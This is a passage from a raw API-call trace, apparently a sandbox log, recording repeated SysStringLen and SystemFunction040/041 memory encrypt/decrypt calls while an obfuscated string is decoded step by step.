(param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x66f4\x95e8\xee38\x2284\xbcd3\xe571\xe364\x3306") returned 0x18 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x66f4\x95e8\xee38\x2284\xbcd3\xe571\xe364\x3306") returned 0x18 [0132.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRu歽욎裑") returned 0x18 [0132.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xdb11\x4b0e\xbf68\xdaf9\xf833\x2bca\x24f4\x31d4") returned 0x18 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xdb11\x4b0e\xbf68\xdaf9\xf833\x2bca\x24f4\x31d4") returned 0x18 [0132.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuM욎裑") returned 0x18 [0132.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x283e\x4527\xe871\x85aa\x5f73\x862a\x1d8c\xbdc3") returned 0x18 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x283e\x4527\xe871\x85aa\x5f73\x862a\x1d8c\xbdc3") returned 0x18 [0132.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.831] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP裑") returned 0x18 [0132.831] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x9433\xddf1\xae61\xca97\x314f\xa2e3\x50aa\x591b") returned 0x18 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x9433\xddf1\xae61\xca97\x314f\xa2e3\x50aa\x591b") returned 0x18 [0132.831] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.831] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/") returned 0x18 [0132.831] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8") returned 0x18 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8") returned 0x18 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8") returned 0x18 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8") returned 0x20 [0132.831] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.831] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0ᳶ鸭⻽款И븛") returned 0x20 [0132.831] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x5fa5\x53be\x4dc\x6350\xf0af\xfadf\xdc5f\x96e1") returned 0x20 [0132.831] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x5fa5\x53be\x4dc\x6350\xf0af\xfadf\xdc5f\x96e1") returned 0x20 [0132.831] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.831] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0N鸭⻽款И븛") returned 0x20 [0132.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xb087\x1500\xb020\x9b\xa61d\x306b\xac44\x51e1") returned 0x20 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xb087\x1500\xb020\x9b\xa61d\x306b\xac44\x51e1") returned 0x20 [0132.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0No⻽款И븛") returned 0x20 [0132.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2ad\x9209\xf61f\xae2a\x4c12\x5ee9\x56a2\xc69e") returned 0x20 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2ad\x9209\xf61f\xae2a\x4c12\x5ee9\x56a2\xc69e") returned 0x20 [0132.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoH款И븛") returned 0x20 [0132.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xee97\x893d\x8361\xbe34\x66e6\x24b7\x8612\x389e") returned 0x20 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xee97\x893d\x8361\xbe34\x66e6\x24b7\x8612\x389e") returned 0x20 [0132.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmИ븛") returned 0x20 [0132.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x912e\x187c\x7f16\x2011\x7d66\x4c73\x8360\xadde") returned 0x20 [0132.832] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x912e\x187c\x7f16\x2011\x7d66\x4c73\x8360\xadde") returned 0x20 [0132.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.833] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmEИ븛") returned 0x20 [0132.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.833] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xcbc7\xdbd0\x6a91\x1f0\xd836\x2c31\xc114\x80be") returned 0x20 [0132.833] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xcbc7\xdbd0\x6a91\x1f0\xd836\x2c31\xc114\x80be") returned 0x20 [0132.833] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.833] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8븛") returned 0x20 [0132.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.833] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xbde\x9ff2\xc04b\xf0e4\x1a37\x8288\x1c80\xf6f9") returned 0x20 [0132.833] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\xbde\x9ff2\xc04b\xf0e4\x1a37\x8288\x1c80\xf6f9") returned 0x20 [0132.833] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.833] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8X") returned 0x20 [0132.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.837] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9") returned 0x20 [0132.837] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9") returned 0x20 [0132.837] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9") returned 0x20 [0132.837] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x2a3c") returned 0x28 [0132.837] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.837] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZꥎ眍北귟眴忱") returned 0x28 [0132.837] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.837] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x4bd\x953f\x21bd\xaf2f\xc133\xe7f2\x351e\x9931") returned 0x28 [0132.837] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x4bd\x953f\x21bd\xaf2f\xc133\xe7f2\x351e\x9931") returned 0x28 [0132.837] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.837] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIꥎ眍北귟眴忱") returned 0x28 [0132.838] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x6349\xad96\x2f9c\x5105\xcf32\xdd7b\x6782\xd09b") returned 0x28 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x6349\xad96\x2f9c\x5105\xcf32\xdd7b\x6782\xd09b") returned 0x28 [0132.838] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIk眍北귟眴忱") returned 0x28 [0132.838] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x497a\xc134\x8266\x47ff\xcd6\x72c3\xaf9d\xf61f") returned 0x28 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x497a\xc134\x8266\x47ff\xcd6\x72c3\xaf9d\xf61f") returned 0x28 [0132.838] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkC北귟眴忱") returned 0x28 [0132.838] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\xcd0\xdaf0\xee6a\x2808\x753\xdd2b\x85d7\x81") returned 0x28 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\xcd0\xdaf0\xee6a\x2808\x753\xdd2b\x85d7\x81") returned 0x28 [0132.838] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW귟眴忱") returned 0x28 [0132.838] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x8a8c\xb261\x8918\x3115\x915f\xb36a\x3af4\x6ad8") returned 0x28 [0132.838] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x8a8c\xb261\x8918\x3115\x915f\xb36a\x3af4\x6ad8") returned 0x28 [0132.838] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.839] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3眴忱") returned 0x28 [0132.839] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\xc559\xdfb6\x9f38\x5ec3\xc85b\x38f9\x495a\x3dd8") returned 0x28 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\xc559\xdfb6\x9f38\x5ec3\xc85b\x38f9\x495a\x3dd8") returned 0x28 [0132.839] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.839] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3d忱") returned 0x28 [0132.839] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\xaa11\x31c7\xf98a\xaf9e\x17eb\xf5b9\xa292\x8c22") returned 0x28 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\xaa11\x31c7\xf98a\xaf9e\x17eb\xf5b9\xa292\x8c22") returned 0x28 [0132.839] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.839] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3dc") returned 0x28 [0132.839] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a") returned 0x28 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a") returned 0x28 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a") returned 0x28 [0132.839] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a") returned 0x30 [0132.839] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3dcm濙䱯쐼褨鋥동") returned 0x30 [0132.840] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a\x9168\xae70\xf65c\xa1f4\x6f09\xa9c9\x5f63\x11fd") returned 0x30 [0132.840] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a\x9168\xae70\xf65c\xa1f4\x6f09\xa9c9\x5f63\x11fd") returned 0x30 [0132.840] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3dcmq䱯쐼褨鋥동") returned 0x30 [0132.840] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a\xcbff\x5587\xbf6f\xd434\x5890\x8e15\xf918\x764") returned 0x30 [0132.840] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a\xcbff\x5587\xbf6f\xd434\x5890\x8e15\xf918\x764") returned 0x30 [0132.840] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3dcmqA쐼褨鋥동") returned 0x30 [0132.840] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a\x1f03\x2a12\xf60b\xfca1\xa729\xfac0\xa123\xb6d6") returned 0x30 [0132.840] SysStringLen 